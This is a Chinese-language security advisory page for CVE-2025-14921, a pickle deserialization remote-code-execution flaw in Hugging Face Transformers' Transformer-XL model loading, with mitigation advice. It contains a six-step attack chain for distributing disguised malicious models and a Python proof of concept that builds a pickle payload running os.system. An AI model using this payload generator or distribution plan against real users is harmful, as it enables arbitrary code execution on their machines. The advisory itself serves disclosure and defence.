IPBUF安全漏洞报告
English
CVE-2025-14921 CVSS 7.8 高危

CVE-2025-14921: Hugging Face Transformers Transformer-XL反序列化RCE漏洞

披露日期: 2025-12-23

漏洞信息

漏洞编号
CVE-2025-14921
漏洞类型
反序列化远程代码执行
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Hugging Face Transformers Transformer-XL Model

相关标签

CVE-2025-14921Hugging Face TransformersTransformer-XL反序列化漏洞远程代码执行RCEPickle反序列化ZDI-CAN-25424Python安全机器学习安全

漏洞概述

CVE-2025-14921是Hugging Face Transformers库中Transformer-XL模型的一个高危安全漏洞,CVSS评分达到7.8。该漏洞属于反序列化不受信任数据导致的远程代码执行(RCE)漏洞,由趋势科技零日倡议(ZDI)发现,编号为ZDI-CAN-25424。漏洞存在于Transformer-XL模型文件的解析过程中,由于缺乏对用户提供的模型数据进行适当的验证和安全检查,攻击者可以构造恶意的模型文件,当目标用户加载或反序列化这些文件时,可以触发任意代码执行。攻击成功后会以当前用户的权限上下文执行恶意代码。由于该漏洞需要用户交互才能触发利用(用户需要访问恶意页面或打开恶意文件),因此被归类为本地攻击向量(AV:L)。该漏洞影响了Hugging Face Transformers库处理Transformer-XL模型的完整性和安全性。

技术细节

该漏洞的根本原因在于Transformer-XL模型加载器缺乏对模型文件中序列化数据的有效验证。具体来说,当Transformers库解析和反序列化Transformer-XL模型文件时,没有对用户提供的模型数据进行充分的安全检查。攻击者可以精心构造一个包含恶意序列化payload的模型文件,利用Python的pickle反序列化机制在反序列化过程中执行任意代码。由于Python的pickle模块在反序列化时可以执行任意代码构造器(constructor),攻击者可以在序列化数据中嵌入恶意对象,在反序列化时自动触发代码执行。攻击利用链涉及以下几个关键环节:首先,攻击者需要构造一个包含恶意payload的序列化模型文件;其次,通过社会工程学手段诱使目标用户加载该恶意模型文件;最后,当Transformers库调用pickle.load()或类似函数反序列化模型数据时,嵌入的恶意代码会被执行。由于Python pickle的反序列化机制本质上是图灵完备的,理论上可以执行任意复杂的恶意操作,包括文件读写、网络通信、命令执行等。

攻击链分析

STEP 1
1
攻击者收集目标信息:通过GitHub、PyPI等渠道寻找使用Hugging Face Transformers库并处理Transformer-XL模型的目标应用
STEP 2
2
构造恶意模型文件:利用Python pickle反序列化机制,构造包含恶意payload的序列化模型文件,payload在反序列化时执行任意系统命令
STEP 3
3
分发恶意模型:攻击者将恶意模型文件伪装成合法的预训练模型,通过Hugging Face Hub、第三方模型仓库、钓鱼网站等渠道分发
STEP 4
4
诱导用户交互:利用社会工程学手段,诱使目标用户访问包含恶意模型加载功能的网页或下载并加载恶意模型文件
STEP 5
5
触发漏洞利用:当用户使用Transformers库的TransformerXLModel.from_pretrained()或相关API加载恶意模型时,pickle.load()会反序列化恶意数据并执行预埋的代码
STEP 6
6
实现攻击目标:恶意代码以当前用户权限执行,可进行数据窃取、横向移动、持久化控制等后续攻击活动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-14921 PoC - Malicious Transformer-XL Model File Generator # This PoC demonstrates the vulnerability in Hugging Face Transformers # WARNING: For educational and security research purposes only import pickle import os class MaliciousPayload: """ Malicious class that executes code during pickle deserialization. This demonstrates the insecure deserialization vulnerability in Transformers. """ def __reduce__(self): # This will execute arbitrary code during unpickling # Replace 'whoami' command with any desired system command return (os.system, ('whoami',)) def create_malicious_model(): """ Generate a malicious pickle file that exploits the deserialization vulnerability. When loaded by vulnerable Transformers library, the payload will be executed. """ # Create malicious payload object malicious_obj = MaliciousPayload() # Serialize to pickle format # In real attack, this would be disguised as a Transformer-XL model file pickle_data = pickle.dumps(malicious_obj) # Save as fake model file model_path = 'malicious_transformer_xl_model.bin' with open(model_path, 'wb') as f: f.write(pickle_data) print(f'[+] Malicious model file created: {model_path}') print(f'[+] File size: {os.path.getsize(model_path)} bytes') return model_path def simulate_vulnerable_load(model_path): """ Simulate how vulnerable Transformers code would load the malicious model. In real scenario, this would be triggered by transformers.TransfoemerXLModel.from_pretrained() """ print(f'[*] Simulating vulnerable model loading...') try: with open(model_path, 'rb') as f: # This is the vulnerable pattern - direct pickle.load without validation model_data = pickle.load(f) print('[+] Model loaded successfully') except Exception as e: print(f'[-] Error: {e}') if __name__ == '__main__': print('='*60) print('CVE-2025-14921 - Transformer-XL Deserialization RCE PoC') print('='*60) # Generate malicious model file model_path = create_malicious_model() # Note: In real attack scenario, this file would be hosted on a website # or distributed as a 'pretrained model' for users to download and load print('\n[!] In real attack scenario:') print(' 1. Attacker hosts this file as a "pretrained model"') print(' 2. Victim downloads and loads with TransformerXLModel.from_pretrained()') print(' 3. Arbitrary code executes in victim\'s context')

影响范围

Hugging Face Transformers (Transformer-XL Model) < 修复版本
具体受影响版本需查阅官方安全公告或升级日志

防御指南

临时缓解措施
由于该漏洞需要用户交互才能触发,建议用户在打开或加载来源不明的Transformer-XL模型文件时保持警惕,不要轻易加载来自第三方或未知来源的预训练模型文件。同时,建议临时禁用或限制TransformerXLModel.from_pretrained()等模型加载功能,直到完成官方安全更新。在Web应用场景中,应避免在服务器端直接反序列化用户上传的模型文件,并对所有模型文件进行安全扫描和来源验证。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表